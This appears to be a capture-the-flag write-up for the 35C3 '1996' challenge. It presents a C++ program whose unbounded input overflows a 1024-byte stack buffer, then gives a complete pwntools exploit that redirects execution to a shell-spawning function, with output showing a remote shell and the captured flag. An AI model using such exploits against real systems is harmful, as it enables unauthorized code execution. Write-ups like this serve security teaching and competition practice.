PWN
It's 1996 all over again!
// compile with -no-pie -fno-stack-protector
#include <iostream>
#include <unistd.h>
#include <stdlib.h>
using namespace std;
void spawn_shell() {
char* args[] = {(char*)"/bin/bash", NULL};
execve("/bin/bash", args, NULL);
}
int main() {
char buf[1024];
cout << "Which environment variable do you want to read? ";
cin >> buf;
cout << buf << "=" << getenv(buf) << endl;
}
A binary file was attached as well.
It's pretty simple to notice the buffer overflow - main
declares a buffer of 1024 bytes, but does not limit the input read into it.
We just need to overflow the buffer, override the return address of main
with the address of spawn_shell
and we're done.
The script:
from pwn import *
import argparse
import os
LOCAL_PATH = "./1996"
def get_process(is_remote = False):
if is_remote:
return remote("35.207.132.47", 22227)
else:
return process(LOCAL_PATH)
def send_payload(proc, payload):
proc.sendlineafter("Which environment variable do you want to read? ", payload)
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
os.system("rm core.* > /dev/null")
proc = process(LOCAL_PATH)
payload = cyclic(1200, n = 8)
send_payload(proc, payload)
proc.wait()
offset = cyclic_find(proc.corefile.fault_addr, n = 8)
log.info("Overflow offset: {}".format(offset))
return offset
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true")
args = parser.parse_args()
e = ELF(LOCAL_PATH)
context.binary = e.path
log.info("Address of spawn_shell(): 0x{:02X}".format(e.symbols["_Z11spawn_shellv"]))
offset = get_overflow_offset()
p = get_process(args.remote)
payload = fit({offset: p64(e.symbols["_Z11spawn_shellv"])})
send_payload(p, payload)
p.interactive()
The output:
root@kali:/media/sf_CTFs/35c3ctf/1996/file# python exploit.py -r
[*] '/media/sf_CTFs/35c3ctf/1996/file/1996'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Address of spawn_shell(): 0x400897
[+] Starting local process './1996': pid 925
[*] Process './1996' stopped with exit code -11 (SIGSEGV) (pid 925)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/35c3ctf/1996/file/core.925'
Arch: amd64-64-little
RIP: 0x400967
RSP: 0x7ffd70e8a2f8
Exe: '/media/sf_CTFs/35c3ctf/1996/file/1996' (0x400000)
Fault: 0x6661616161616167
[*] Overflow offset: 1048
[+] Opening connection to 35.207.132.47 on port 22227: Done
[*] Switching to interactive mode
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaak\x9@=$ ls
1996
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
35C3_b29a2800780d85cfc346ce5d64f52e59c8d12c14
$ exit
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to 35.207.132.47 port 22227
[*] Got EOF while sending in interactive
The flag: 35C3_b29a2800780d85cfc346ce5d64f52e59c8d12c14